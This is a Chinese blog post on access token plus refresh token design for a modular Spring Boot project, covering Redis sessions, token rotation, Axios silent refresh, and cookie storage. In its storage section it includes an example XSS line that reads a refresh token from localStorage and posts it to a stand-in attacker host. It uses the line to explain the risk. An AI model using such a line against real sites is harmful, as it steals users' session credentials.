前后端分离项目中 Token 到底应该怎么设计?Access Token + Refresh Token 实战

前言

做前后端分离项目时,登录认证几乎是所有项目绕不开的一部分。

刚开始学习 Spring Boot 的时候,我们可能会觉得 Token 认证非常简单:

text 复制代码
用户登录
    ↓
验证用户名密码
    ↓
生成 JWT
    ↓
返回给前端
    ↓
前端保存 JWT
    ↓
请求接口携带 JWT

于是很容易写出这样的代码:

java 复制代码
String token = JwtUtils.createToken(userId);
return Result.success(token);

前端:

typescript 复制代码
localStorage.setItem("token", token);

请求接口:

http 复制代码
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

看起来没有任何问题。

对于 Demo、课程设计、小型后台管理系统,这套方案甚至可以一直正常运行。

但当项目真正进入实际开发之后,问题很快就出现了:

  1. Token 有效期应该设置多久?
  2. 30 分钟是不是太短?
  3. 7 天是不是又太长?
  4. Token 过期之后是不是必须重新登录?
  5. 用户正在填写表单,突然 Token 过期怎么办?
  6. Token 被别人拿走之后怎么办?
  7. 用户主动退出登录之后,旧 Token 为什么还能访问接口?
  8. 用户修改密码之后,其他设备是不是应该掉线?
  9. 一个账号同时登录多个设备应该怎么管理?
  10. 前端应该把 Token 存在哪里?
  11. JWT 到底应该完全无状态,还是应该配合 Redis?
  12. Refresh Token 到底有没有必要?
  13. Access Token 和 Refresh Token 有什么本质区别?

这些问题实际上已经不是"怎么生成 JWT"的问题了。

它们属于:

认证系统的生命周期设计问题。

我自己的 Spring Boot 项目在逐渐从简单后台系统发展成实际业务系统之后,也开始重新设计认证体系。

最终我采用的是:

text 复制代码
Access Token + Refresh Token + Redis

并且认证能力不会散落在每一个业务模块里面,而是作为整个项目的基础能力放进 framework 层。

本文就结合一个真实 Spring Boot 模块化项目,从工程架构、JWT、Redis、Access Token、Refresh Token、前端无感刷新、安全策略等方面,完整讲一下:

前后端分离项目中的 Token 到底应该怎么设计。


一、先从我的 Spring Boot 项目结构说起

在讨论 Token 之前,需要先解释一下我的项目结构。

因为 Token 认证并不是孤立存在的,它最终一定会和 Spring Security、权限认证、Web Filter、Redis、异常处理等基础设施发生关系。

我的 Spring Boot 项目没有把所有代码全部放在一个 src/main/java 下面,而是采用 Maven 多模块结构。

整体可以简化成:

text 复制代码
project
│
├── framework
│   ├── framework-core
│   ├── framework-web
│   ├── framework-security
│   ├── framework-redis
│   ├── framework-permission
│   └── framework-api-doc
│
├── module
│   ├── module-system
│   ├── module-project
│   ├── module-task
│   ├── module-oauth
│   └── module-xxx
│
└── server
    └── Application.java

从职责上来说,我把它理解成三个大的区域:

text 复制代码
┌────────────────────────────────────────────┐
│                  server                    │
│                                            │
│          应用启动 / 模块装配 / 配置         │
└──────────────────────┬─────────────────────┘
                       │
                       ↓
┌────────────────────────────────────────────┐
│                  module                    │
│                                            │
│     system / project / task / oauth ...    │
│                                            │
│                业务能力                     │
└──────────────────────┬─────────────────────┘
                       │
                       ↓
┌────────────────────────────────────────────┐
│                 framework                  │
│                                            │
│ security / web / redis / core / permission │
│                                            │
│              基础技术能力                   │
└────────────────────────────────────────────┘

这个结构有一个非常重要的原则:

framework 不应该知道具体业务是什么,但是业务模块可以使用 framework 提供的能力。

例如:

text 复制代码
framework-security

应该知道:

text 复制代码
JWT 怎么解析
Token 怎么校验
Authentication 怎么构建
登录上下文怎么保存
权限怎么判断
Security Filter 怎么运行

但是它不应该知道:

text 复制代码
患者是什么
项目是什么
任务是什么
订单是什么
支付是什么

这些属于:

text 复制代码
module

这实际上就是模块边界。


二、为什么我要拆成 framework、module、server?

有人可能会问:

一个 Spring Boot 项目而已,为什么搞这么多 Maven Module?

如果只是几千行代码,确实没有必要。

例如:

text 复制代码
controller
service
mapper
entity
config
utils

这种结构完全够用。

但问题是,当系统越来越大之后,很容易变成:

text 复制代码
src/main/java
├── controller
│   ├── UserController
│   ├── ProjectController
│   ├── TaskController
│   ├── OrderController
│   ├── PaymentController
│   └── ...
│
├── service
│   ├── UserService
│   ├── ProjectService
│   ├── TaskService
│   └── ...
│
├── config
├── security
├── utils
├── mapper
├── entity
└── ...

表面上进行了分层。

实际上随着项目扩大,业务之间的边界越来越模糊。

最后非常容易出现:

text 复制代码
AService 调 BService
BService 调 CService
CService 又调 AService

然后出现经典问题:

text 复制代码
BeanCurrentlyInCreationException

甚至形成循环依赖。

所以 Maven 模块化真正解决的不是:

"文件太多不好找。"

而是:

通过构建系统强制建立架构边界。

例如:

text 复制代码
module-project
        ↓
framework-security
        ↓
framework-core

是允许的。

但是:

text 复制代码
framework-core
        ↓
module-project

原则上就不应该出现。

因此我认为 Maven Module 最大的价值并不是目录更漂亮,而是:

把原本依赖开发人员自觉遵守的架构规则,变成构建工具可以检查的依赖关系。


三、这种结构是不是我自己"发明"的?

当然不是。

实际上大量成熟 Java 项目都会进行类似的模块拆分,只不过每个项目的命名方式不同。

例如 RuoYi-Vue 的 Maven 聚合工程中就包含:

text 复制代码
ruoyi-admin
ruoyi-framework
ruoyi-system
ruoyi-quartz
ruoyi-generator
ruoyi-common

其中 ruoyi-framework 被定义为框架核心模块,而 ruoyi-system 负责系统业务能力。

RuoYi-Vue-Plus 也长期采用类似的 Maven 多模块组织方式。

所以:

text 复制代码
framework
module
server

并不是某种特殊写法。

它本质上是在表达:

text 复制代码
技术基础设施
      +
业务领域能力
      +
最终应用装配

我的项目只是在这个思想上继续细化。

例如:

text 复制代码
framework
├── core
├── web
├── security
├── redis
├── permission
└── api-doc

而不是把所有框架能力全部塞进:

text 复制代码
framework

一个模块。

这样做的好处是未来某个业务模块如果只需要:

text 复制代码
framework-core

就没有必要把:

text 复制代码
Security
Redis
Swagger
Web

全部间接引进来。

这实际上是在控制:

依赖传播。


四、Token 认证为什么应该属于 framework?

现在回到本文核心。

Token 应该放在哪里?

假设我们有:

text 复制代码
module-system
module-project
module-task
module-payment

难道每一个模块自己写:

java 复制代码
JwtUtils.parseToken(token);

显然不合理。

因为:

text 复制代码
JWT
Spring Security
Authentication
SecurityContext
Token Filter
权限判断
Redis Session

都属于技术基础设施。

所以我把它放到:

text 复制代码
framework-security

例如:

text 复制代码
framework-security
└── src/main/java
    └── security
        ├── config
        │   └── SecurityConfig.java
        │
        ├── filter
        │   └── JwtAuthenticationFilter.java
        │
        ├── token
        │   ├── TokenService.java
        │   ├── JwtTokenProvider.java
        │   └── TokenProperties.java
        │
        ├── context
        │   └── LoginUserContext.java
        │
        ├── handler
        │   ├── AuthenticationEntryPointImpl.java
        │   └── AccessDeniedHandlerImpl.java
        │
        └── model
            └── LoginUser.java

于是业务模块只需要关心:

java 复制代码
Long userId = LoginUserContext.getUserId();

而不用关心:

text 复制代码
JWT 怎么解析?
Redis Key 是什么?
Token 有没有过期?
Authentication 怎么创建?
SecurityContextHolder 怎么设置?

这就是基础设施抽象的意义。


五、为什么单 Access Token 方案不够?

最简单的 Token 方案是:

text 复制代码
登录成功
   ↓
生成 JWT
   ↓
JWT 有效期 7 天
   ↓
前端一直使用

假设:

java 复制代码
expiration = 7 * 24 * 60 * 60;

那么 Token 七天内都有效。

用户体验很好。

但是安全问题也非常明显。

如果攻击者在第一天拿到了 Token:

text 复制代码
攻击者
   ↓
获得 Access Token
   ↓
未来七天持续访问接口

只要服务器没有额外状态控制,就很难主动让这个 JWT 失效。

所以我们可能想到:

那我把 Token 设置成 30 分钟。

例如:

text 复制代码
Access Token = 30 分钟

安全性确实提高了。

但是新的问题出现了:

text 复制代码
用户 14:00 登录
        ↓
14:29 正在填写表单
        ↓
14:30 Token 过期
        ↓
请求返回 401
        ↓
重新登录

用户体验非常差。

于是我们遇到了一个经典矛盾:

text 复制代码
Token 时间长
    ↓
用户体验好
    ↓
安全风险增加

Token 时间短
    ↓
安全性提高
    ↓
用户体验下降

怎么办?

答案就是:

text 复制代码
Access Token
+
Refresh Token

六、Access Token + Refresh Token 到底是什么?

整个认证体系可以理解成:

text 复制代码
Access Token
=
短期访问凭证

Refresh Token
=
长期续期凭证

例如我可以设计:

text 复制代码
Access Token
有效期:30 分钟

Refresh Token
有效期:7 天

用户登录:

text 复制代码
POST /auth/login

返回:

json 复制代码
{
  "code": 200,
  "data": {
    "accessToken": "eyJhbGciOiJIUzUxMiJ9...",
    "refreshToken": "eyJhbGciOiJIUzUxMiJ9...",
    "expiresIn": 1800
  }
}

正常业务请求只使用:

text 复制代码
Access Token

例如:

http 复制代码
GET /api/project/list

Authorization: Bearer ACCESS_TOKEN

Refresh Token 不应该参与普通业务 API 请求。

它只负责:

text 复制代码
换取新的 Access Token

于是整个生命周期变成:

text 复制代码
                    用户登录
                       │
                       ↓
          ┌────────────────────────┐
          │      Auth Server       │
          └───────────┬────────────┘
                      │
             ┌────────┴────────┐
             ↓                 ↓
      Access Token       Refresh Token
        30分钟               7天
             │                 │
             ↓                 │
         调用业务API            │
             │                 │
             ↓                 │
       Access Token过期         │
             │                 │
             └────────┬────────┘
                      ↓
               /auth/refresh
                      │
                      ↓
              新 Access Token
                      │
                      ↓
                 继续访问

这样就解决了刚才的矛盾。


七、这种设计有没有权威依据?

有。

这不是某个 Java 博主自己创造的 Token 玩法。

OAuth 2.0 本身就定义了 Access Token 和 Refresh Token。

更重要的是,IETF 在 2025 年发布了:

text 复制代码
RFC 9700
Best Current Practice for OAuth 2.0 Security

也就是:

text 复制代码
OAuth 2.0 Security Best Current Practice

RFC 9700 对 Refresh Token 的价值有一个非常重要的说明。

核心思想可以概括为:

Refresh Token 允许授权服务器签发生命周期较短、权限范围受限的 Access Token,从而降低 Access Token 泄露之后可能造成的影响。

这正是本文设计 Access Token + Refresh Token 的核心理论依据。

所以:

text 复制代码
短 Access Token
+
长 Refresh Token

不是为了"看起来高级"。

而是为了实现:

text 复制代码
降低 Access Token 泄露窗口
+
保持长期登录体验

两者之间的平衡。


八、Access Token 应该包含什么?

一个 JWT Access Token 通常可以包含:

json 复制代码
{
  "sub": "10001",
  "iss": "auth.example.com",
  "aud": "api.example.com",
  "iat": 1789300000,
  "exp": 1789301800,
  "jti": "550e8400-e29b-41d4-a716-446655440000"
}

这些字段分别表示:

Claim 含义
sub Subject,用户主体
iss Issuer,Token 签发者
aud Audience,Token 使用对象
iat Issued At,签发时间
exp Expiration Time,过期时间
jti JWT ID,Token 唯一编号

Spring Security 官方 Resource Server 文档中,也会对 JWT 的:

text 复制代码
exp
nbf
iss

等声明进行验证。

并且 Spring Security 支持通过:

yaml 复制代码
spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: https://auth.example.com
          audiences: https://api.example.com

验证:

text 复制代码
iss
aud

这意味着一个比较规范的 JWT 不应该只是:

json 复制代码
{
  "userId": 1
}

而应该逐渐向标准 JWT Claim 靠拢。


九、为什么 aud 非常重要?

假设以后我的系统越来越大:

text 复制代码
auth.example.com

project-api.example.com

payment-api.example.com

admin-api.example.com

如果所有服务拿到 JWT 之后只验证:

text 复制代码
签名正确
+
没有过期

那么理论上:

text 复制代码
原本签发给 project-api 的 Token

可能被错误用于:

text 复制代码
payment-api

所以应该使用:

text 复制代码
aud

限制 Token 的目标资源。

例如:

json 复制代码
{
  "aud": "project-api"
}

支付服务则要求:

json 复制代码
{
  "aud": "payment-api"
}

RFC 9700 也明确建议 Access Token 应该尽可能进行 Audience Restriction。

简单理解就是:

一张门禁卡不仅应该知道"这个人是谁",还应该知道"这张卡允许进入哪栋楼"。


十、Access Token 为什么一定要短?

假设:

text 复制代码
Access Token = 7天

Token 泄露:

text 复制代码
攻击者
   ↓
获取 Token
   ↓
理论攻击窗口最长 7 天

如果:

text 复制代码
Access Token = 30分钟

那么理论攻击窗口显著缩短。

因此我更倾向:

yaml 复制代码
security:
  token:
    access-token-expire: 30m
    refresh-token-expire: 7d

当然:

text 复制代码
30分钟
7天

不是行业强制标准。

不同系统应该根据风险等级设置。

例如:

text 复制代码
普通后台系统

Access Token:30~120分钟
Refresh Token:7~30天

而:

text 复制代码
支付
金融
医疗
高权限后台

可能需要更加严格。

核心不是记住一个数字,而是理解:

Access Token 应该尽量缩短暴露窗口,Refresh Token 用来维持登录会话。


十一、Refresh Token 为什么不能直接当 Access Token 用?

这是非常重要的一点。

Refresh Token 的权限应该非常单一:

text 复制代码
只能刷新 Token

而不能:

text 复制代码
GET /user/list
Authorization: Bearer REFRESH_TOKEN

否则 Access Token 和 Refresh Token 就失去了区分意义。

所以生成 Token 时,我会明确加入:

json 复制代码
{
  "token_type": "access"
}

Refresh Token:

json 复制代码
{
  "token_type": "refresh"
}

例如:

java 复制代码
public enum TokenType {

    ACCESS,

    REFRESH

}

创建:

java 复制代码
public String createAccessToken(LoginUser user) {
    return createToken(user, TokenType.ACCESS, accessTokenExpire);
}

public String createRefreshToken(LoginUser user) {
    return createToken(user, TokenType.REFRESH, refreshTokenExpire);
}

校验:

java 复制代码
public void validateAccessToken(String token) {

    Claims claims = parseToken(token);

    String type = claims.get("token_type", String.class);

    if (!"access".equals(type)) {
        throw new InvalidTokenException("Invalid access token");
    }
}

Refresh:

java 复制代码
public void validateRefreshToken(String token) {

    Claims claims = parseToken(token);

    String type = claims.get("token_type", String.class);

    if (!"refresh".equals(type)) {
        throw new InvalidTokenException("Invalid refresh token");
    }
}

这样才能真正形成:

text 复制代码
Access Token → 访问资源

Refresh Token → 获取新 Token

十二、JWT 到底要不要配 Redis?

这是一个非常经典的问题。

很多人认为:

JWT 就是为了无状态,为什么还要 Redis?

这个说法只说对了一半。

JWT 确实可以做到:

text 复制代码
完全 Stateless

例如:

text 复制代码
客户端
   ↓
JWT
   ↓
服务器验证签名
   ↓
直接获取 userId

服务器完全不保存 Session。

优势非常明显:

text 复制代码
不用查 Redis
不用查数据库
天然适合分布式

但是问题也很明显:

服务端很难主动撤销已经签发出去的 JWT。

例如用户点击:

text 复制代码
退出登录

前端删除 Token。

但是攻击者如果之前复制了 Token:

text 复制代码
JWT 仍然没有过期

服务器如果只验证 JWT:

text 复制代码
签名正确
exp 未过期

那么这个 Token 依然合法。

所以真实业务系统里,我更倾向于:

text 复制代码
JWT
+
Redis Session

也就是:

JWT 负责身份凭证,Redis 负责会话生命周期。


十三、我的 Redis Token 结构怎么设计?

可以使用:

text 复制代码
auth:session:{sessionId}

例如:

text 复制代码
auth:session:
550e8400-e29b-41d4-a716-446655440000

Redis:

json 复制代码
{
  "userId": 10001,
  "username": "admin",
  "tenantId": "10000001",
  "device": "Chrome / macOS",
  "loginIp": "127.0.0.1",
  "loginTime": 1789300000
}

JWT:

json 复制代码
{
  "sub": "10001",
  "sid": "550e8400-e29b-41d4-a716-446655440000",
  "token_type": "access",
  "exp": 1789301800
}

于是请求流程变成:

text 复制代码
Request
   │
   ↓
Authorization: Bearer xxx
   │
   ↓
JWT 验签
   │
   ↓
检查 exp
   │
   ↓
获取 sid
   │
   ↓
Redis 查询 Session
   │
   ├── 不存在 → 401
   │
   └── 存在
        │
        ↓
   构造 Authentication
        │
        ↓
 SecurityContext
        │
        ↓
 Controller

这时候:

text 复制代码
退出登录

就非常简单:

java 复制代码
redisTemplate.delete("auth:session:" + sessionId);

即使 JWT 还剩:

text 复制代码
20分钟

由于 Session 已经不存在:

text 复制代码
JWT
  ↓
Redis
  ↓
Session不存在
  ↓
401 Unauthorized

立即失效。


十四、JWT + Redis 是不是违背了 JWT 的设计?

并没有。

这里需要区分:

text 复制代码
JWT 能不能无状态

和:

text 复制代码
业务系统是否必须完全无状态

是两个问题。

JWT:

text 复制代码
可以 Stateless

不等于:

text 复制代码
所有使用 JWT 的系统都必须 Stateless

工程设计永远应该围绕业务需求。

如果你的系统:

text 复制代码
不需要主动踢人
不需要设备管理
不需要强制退出
不需要修改密码后失效
不需要后台封禁即时生效

完全无状态 JWT 很合适。

但是如果系统需要:

text 复制代码
在线用户
设备管理
单点登录
踢出登录
强制下线
密码修改失效
账号封禁
Refresh Token Rotation

服务器端保存一定 Session 状态往往更加容易控制。

所以我的设计目标不是:

追求理论上最纯粹的 JWT。

而是:

让认证系统可控。


十五、完整登录流程怎么设计?

登录接口:

http 复制代码
POST /auth/login

参数:

json 复制代码
{
  "username": "admin",
  "password": "123456"
}

服务端:

java 复制代码
public TokenResponse login(LoginRequest request) {

    // 1. 验证用户名密码
    LoginUser loginUser = authenticationService.authenticate(
            request.getUsername(),
            request.getPassword()
    );

    // 2. 创建 Session
    String sessionId = UUID.randomUUID().toString();

    LoginSession session = new LoginSession();

    session.setSessionId(sessionId);
    session.setUserId(loginUser.getUserId());
    session.setUsername(loginUser.getUsername());

    // 3. 保存 Redis
    sessionService.save(session);

    // 4. 创建 Access Token
    String accessToken =
            tokenService.createAccessToken(loginUser, sessionId);

    // 5. 创建 Refresh Token
    String refreshToken =
            tokenService.createRefreshToken(loginUser, sessionId);

    return TokenResponse.builder()
            .accessToken(accessToken)
            .refreshToken(refreshToken)
            .expiresIn(1800L)
            .build();
}

整个过程:

text 复制代码
用户名 + 密码
      │
      ↓
AuthenticationService
      │
      ↓
验证账号
      │
      ↓
创建 Session
      │
      ↓
写 Redis
      │
      ↓
┌───────────────┬────────────────┐
↓               ↓
Access Token    Refresh Token
↓               ↓
30分钟           7天

十六、Access Token 过期后怎么刷新?

前端发现:

text 复制代码
401

不要立即跳登录页。

首先尝试:

http 复制代码
POST /auth/refresh

携带:

text 复制代码
Refresh Token

服务端:

java 复制代码
public TokenResponse refresh(String refreshToken) {

    // 1. 验证 Refresh Token
    TokenClaims claims =
            tokenService.parseRefreshToken(refreshToken);

    // 2. 获取 Session
    LoginSession session =
            sessionService.get(claims.getSessionId());

    if (session == null) {
        throw new UnauthorizedException();
    }

    // 3. 创建新的 Access Token
    String accessToken =
            tokenService.createAccessToken(
                    session.getUserId(),
                    session.getSessionId()
            );

    return TokenResponse.builder()
            .accessToken(accessToken)
            .expiresIn(1800L)
            .build();
}

然后前端重新执行原来的请求。


十七、前端怎么实现无感刷新?

Axios 可以统一处理。

例如:

typescript 复制代码
import axios from "axios"

const service = axios.create({
    baseURL: "/api",
    timeout: 10000
})

请求:

typescript 复制代码
service.interceptors.request.use(config => {

    const token = getAccessToken()

    if (token) {
        config.headers.Authorization = `Bearer ${token}`
    }

    return config
})

响应:

typescript 复制代码
service.interceptors.response.use(
    response => response,
    async error => {

        const originalRequest = error.config

        if (
            error.response?.status === 401 &&
            !originalRequest._retry
        ) {

            originalRequest._retry = true

            const refreshToken = getRefreshToken()

            const response = await axios.post(
                "/auth/refresh",
                {
                    refreshToken
                }
            )

            const newAccessToken =
                response.data.data.accessToken

            saveAccessToken(newAccessToken)

            originalRequest.headers.Authorization =
                `Bearer ${newAccessToken}`

            return service(originalRequest)
        }

        return Promise.reject(error)
    }
)

用户看到的是:

text 复制代码
正常请求
   ↓
Token 过期
   ↓
自动刷新
   ↓
重新请求
   ↓
正常返回

整个过程用户完全不需要操作。


十八、这里还有一个并发刷新陷阱

假设页面同时发送:

text 复制代码
GET /user/info
GET /menu/list
GET /notice/list
GET /project/list

此时 Access Token 刚好过期。

那么四个请求全部返回:

text 复制代码
401

如果按照刚才最简单的实现:

text 复制代码
四个请求
   ↓
四次 /auth/refresh

这是有问题的。

尤其后面实现:

text 复制代码
Refresh Token Rotation

以后问题更加严重。

所以前端应该建立:

text 复制代码
refresh lock

例如:

typescript 复制代码
let isRefreshing = false

let requests: Array<(token: string) => void> = []

如果已经有人刷新:

typescript 复制代码
if (isRefreshing) {

    return new Promise(resolve => {

        requests.push(token => {

            originalRequest.headers.Authorization =
                `Bearer ${token}`

            resolve(service(originalRequest))
        })

    })

}

第一个请求:

typescript 复制代码
isRefreshing = true

刷新成功:

typescript 复制代码
const newToken = response.data.data.accessToken

requests.forEach(callback => callback(newToken))

requests = []

isRefreshing = false

最终:

text 复制代码
Request A ───────┐
Request B ───────┤
Request C ───────┤──→ 只有一个 Refresh Request
Request D ───────┘
                         │
                         ↓
                   New Access Token
                         │
             ┌───────────┼───────────┐
             ↓           ↓           ↓
             A           B           C ...

这是前端实现 Refresh Token 时非常容易忽略的细节。


十九、Refresh Token Rotation 是什么?

如果我们进一步提高安全性,就会涉及:

text 复制代码
Refresh Token Rotation

传统方案:

text 复制代码
Refresh Token A
     ↓
刷新
     ↓
Access Token B

Refresh Token A 继续使用

Rotation:

text 复制代码
Refresh Token A
     ↓
刷新
     ↓
Access Token B
+
Refresh Token B

Refresh Token A
立即失效

下一次:

text 复制代码
Refresh Token B
     ↓
Access Token C
+
Refresh Token C

形成:

text 复制代码
RT1
 ↓
RT2
 ↓
RT3
 ↓
RT4

旧 Token:

text 复制代码
立即失效

二十、为什么 Refresh Token Rotation 很重要?

假设攻击者偷到了:

text 复制代码
Refresh Token A

普通方案:

text 复制代码
用户持有 A
攻击者也持有 A

两个人都可以持续刷新

服务器很难发现。

Rotation 以后:

text 复制代码
用户使用 A
      ↓
获得 B
      ↓
A 作废

攻击者再使用:

text 复制代码
A

服务器发现:

text 复制代码
这个 Refresh Token 已经使用过

这意味着:

text 复制代码
可能发生 Token Replay

此时可以:

text 复制代码
撤销整个 Session

强制重新登录。


二十一、RFC 9700 对 Refresh Token Rotation 怎么说?

这一点有非常强的标准依据。

IETF RFC 9700 明确要求,对于 Public Client,如果签发 Refresh Token,需要使用以下机制之一检测 Refresh Token Replay:

text 复制代码
Sender-Constrained Refresh Token

或者

Refresh Token Rotation

其中 Rotation 的基本思想就是:

text 复制代码
每次刷新
    ↓
签发新的 Refresh Token
    ↓
旧 Refresh Token 失效
    ↓
保留 Token 之间的关联关系

如果旧 Refresh Token 再次出现,就说明:

text 复制代码
Token 可能已经泄露

所以如果我要继续增强当前项目的认证安全性,我会优先考虑:

text 复制代码
Access Token
+
Refresh Token
+
Redis Session
+
Refresh Token Rotation

二十二、Redis 怎么支持 Refresh Token Rotation?

可以保存:

text 复制代码
auth:refresh:{jti}

例如:

text 复制代码
auth:refresh:
9d20e20a-xxxx-xxxx

内容:

json 复制代码
{
  "sessionId": "xxx",
  "userId": 10001,
  "status": "ACTIVE"
}

刷新:

java 复制代码
@Transactional
public TokenResponse refresh(String refreshToken) {

    TokenClaims claims =
            tokenService.parseRefreshToken(refreshToken);

    String jti = claims.getJti();

    RefreshTokenInfo oldToken =
            refreshTokenRepository.get(jti);

    if (oldToken == null) {
        throw new InvalidTokenException();
    }

    if (oldToken.isUsed()) {

        // 可能出现 Refresh Token Replay
        sessionService.revoke(oldToken.getSessionId());

        throw new TokenReplayException();
    }

    // 标记旧 Token 已使用
    refreshTokenRepository.markUsed(jti);

    // 创建新的 Token
    String newAccessToken =
            tokenService.createAccessToken(...);

    String newRefreshToken =
            tokenService.createRefreshToken(...);

    return new TokenResponse(
            newAccessToken,
            newRefreshToken
    );
}

这时候:

text 复制代码
Refresh Token

实际上变成了:

一次性续期凭证。


二十三、前端到底应该把 Token 放在哪里?

很多 Vue 项目会直接:

typescript 复制代码
localStorage.setItem(
    "access_token",
    accessToken
)

实现确实简单。

但是安全上必须知道一个问题:

text 复制代码
localStorage

可以被当前 Origin 下执行的 JavaScript 读取。

如果发生 XSS:

javascript 复制代码
fetch("https://attacker.example", {
    method: "POST",
    body: localStorage.getItem("refresh_token")
})

Refresh Token 就可能被窃取。

OWASP 的 HTML5 Security / Session Management Cheat Sheet 对这一点给出了非常明确的安全建议:

不要把认证 Token、Session ID、JWT、Refresh Token 等凭证直接作为长期敏感信息存储在 localStorage 或 sessionStorage 中。

原因就是:

text 复制代码
XSS
 ↓
执行 JavaScript
 ↓
读取 localStorage
 ↓
Token 泄露

所以对于 Web 项目,更严格的设计可以采用:

text 复制代码
Access Token
    ↓
内存

Refresh Token
    ↓
HttpOnly Cookie

例如:

http 复制代码
Set-Cookie:
refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh

这样 JavaScript:

javascript 复制代码
document.cookie

无法直接读取:

text 复制代码
HttpOnly Refresh Token

安全性会更好。


当然不是。

安全设计永远不是:

text 复制代码
用了某个技术 = 绝对安全

Cookie 需要继续考虑:

text 复制代码
CSRF
SameSite
Secure
Domain
Path
HTTPS
CORS

例如:

text 复制代码
HttpOnly

解决的是:

text 复制代码
JavaScript 直接读取 Cookie

不是解决所有 Web 安全问题。

所以比较完整的 Cookie 应该类似:

http 复制代码
Set-Cookie: refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh;
Max-Age=604800

这也是为什么:

Token 存储问题本质上是 Web 安全问题,而不是简单的前端 API 使用问题。


二十五、退出登录应该怎么设计?

如果只是:

typescript 复制代码
localStorage.removeItem("token")

这不叫真正的退出登录。

这只是:

text 复制代码
客户端忘记 Token

真正退出应该:

http 复制代码
POST /auth/logout

服务端:

java 复制代码
public void logout(String sessionId) {

    sessionService.delete(sessionId);

    refreshTokenService.revokeBySessionId(sessionId);

}

然后:

text 复制代码
Redis Session
Refresh Token

全部撤销。

完整过程:

text 复制代码
Logout
  │
  ↓
解析当前 SessionId
  │
  ↓
删除 Redis Session
  │
  ↓
撤销 Refresh Token
  │
  ↓
客户端清除 Access Token
  │
  ↓
登录状态彻底失效

二十六、修改密码之后怎么办?

真实项目还有一个非常重要的安全策略:

text 复制代码
修改密码

之后是否让其他设备掉线?

我倾向:

text 复制代码
修改密码
    ↓
撤销该用户所有 Session
    ↓
所有设备重新登录

例如 Redis:

text 复制代码
auth:user:sessions:{userId}

维护:

text 复制代码
userId
  ↓
session1
session2
session3

修改密码:

java 复制代码
public void changePassword(
        Long userId,
        String newPassword
) {

    userService.updatePassword(
            userId,
            passwordEncoder.encode(newPassword)
    );

    sessionService.revokeAllByUserId(userId);
}

RFC 9700 也提到授权服务器可以在安全事件发生时自动撤销 Refresh Token,例如:

text 复制代码
password change
logout

这说明这种设计不是凭感觉决定的,而是符合现代 OAuth 安全实践的。


二十七、为什么不要把密码、角色等大量数据塞进 JWT?

有些项目 JWT 会放:

json 复制代码
{
  "userId": 1,
  "username": "admin",
  "nickname": "管理员",
  "email": "...",
  "phone": "...",
  "roles": [...],
  "permissions": [...],
  "tenant": {...}
}

最后 JWT 两三 KB。

我个人不建议。

第一:

text 复制代码
JWT Payload 默认不是加密

只是:

text 复制代码
Base64URL

所以不要放:

text 复制代码
password
身份证
手机号
隐私信息
敏感业务数据

第二:

Token 越大:

text 复制代码
每一个 HTTP Request

都需要携带。

例如:

text 复制代码
3KB Token
×
1000万请求

会产生大量额外网络流量。

所以我的 Access Token 更倾向于只保存:

json 复制代码
{
  "sub": "10001",
  "sid": "xxx",
  "iss": "auth.example.com",
  "aud": "api.example.com",
  "jti": "xxx",
  "token_type": "access",
  "iat": 1789300000,
  "exp": 1789301800
}

需要用户详细信息:

text 复制代码
sid
 ↓
Redis Session

或者:

text 复制代码
userId
 ↓
业务查询

这样职责更加清晰。


二十八、为什么我的 Token 设计和 Maven 模块设计其实是同一种思想?

看到这里可能会发现一个很有意思的事情。

我的 Maven 项目设计:

text 复制代码
framework
module
server

和 Token 设计:

text 复制代码
Access Token
Refresh Token
Session

背后其实都是同一个思想:

职责分离。

项目结构:

text 复制代码
framework
    ↓
技术能力

module
    ↓
业务能力

server
    ↓
应用装配

认证:

text 复制代码
Access Token
    ↓
访问资源

Refresh Token
    ↓
刷新凭证

Redis Session
    ↓
管理会话生命周期

不要让一个东西承担所有职责。

这也是我现在越来越重视的一种工程思想:

一个组件越容易解释清楚"它只负责什么",系统长期维护起来通常就越简单。


二十九、和 RuoYi 这类开源框架相比,我为什么还要自己设计?

RuoYi、RuoYi-Vue-Plus 等成熟项目非常值得参考。

例如它们已经验证了:

text 复制代码
Maven 聚合工程
+
Framework
+
System
+
Admin

这种模块化结构在实际后台系统中的可行性。

但是:

参考开源框架,不代表必须复制开源框架。

我的项目希望进一步明确:

text 复制代码
framework
=
基础技术能力

module
=
业务领域能力

server
=
最终启动与装配

于是未来项目即使增加:

text 复制代码
module-ai
module-payment
module-hospital
module-project
module-task

基础结构仍然不会变化。

认证能力:

text 复制代码
framework-security

Redis:

text 复制代码
framework-redis

Web:

text 复制代码
framework-web

API 文档:

text 复制代码
framework-api-doc

业务:

text 复制代码
module-xxx

最终:

text 复制代码
server

只负责:

java 复制代码
@SpringBootApplication
public class Application {

    public static void main(String[] args) {

        SpringApplication.run(
                Application.class,
                args
        );

    }

}

这就是我希望达到的状态:

业务不断增加,但是底层架构不需要不断推倒重来。


三十、如果以后改成微服务,这个结构还有意义吗?

有。

实际上这种模块化单体结构还有一个隐藏价值:

text 复制代码
为未来服务拆分提前建立边界

例如现在:

text 复制代码
module-system
module-project
module-task
module-payment

全部运行在:

text 复制代码
server

里面。

这是:

text 复制代码
Modular Monolith

以后如果业务真的增长到需要微服务:

text 复制代码
module-payment

理论上可以逐渐拆成:

text 复制代码
payment-service

而:

text 复制代码
module-system

可以变成:

text 复制代码
system-service

认证:

text 复制代码
framework-security

逐渐演变成:

text 复制代码
Authorization Server
+
Resource Server

所以:

text 复制代码
模块化单体

并不是:

text 复制代码
微服务的反面

反而可能是:

在真正需要微服务之前,更理性的中间状态。


三十一、最终我采用的 Token 架构

综合安全性、开发复杂度、用户体验和后期扩展,我现在更倾向下面这套设计:

text 复制代码
                     Client
                       │
                       │ Login
                       ↓
               ┌───────────────┐
               │ Authentication│
               └───────┬───────┘
                       │
              ┌────────┴────────┐
              ↓                 ↓
        Access Token      Refresh Token
          30 min              7 days
              │                 │
              │                 ↓
              │          Refresh Endpoint
              │                 │
              │          Token Rotation
              │                 │
              └────────┬────────┘
                       │
                       ↓
                 Redis Session
                       │
                       ↓
                Login Lifecycle

后端模块:

text 复制代码
framework-security
├── SecurityConfig
├── JwtAuthenticationFilter
├── TokenService
├── JwtTokenProvider
├── LoginUserContext
├── AuthenticationEntryPoint
└── AccessDeniedHandler

业务模块:

text 复制代码
module-system
module-project
module-task
module-payment
...

启动:

text 复制代码
server

最终形成:

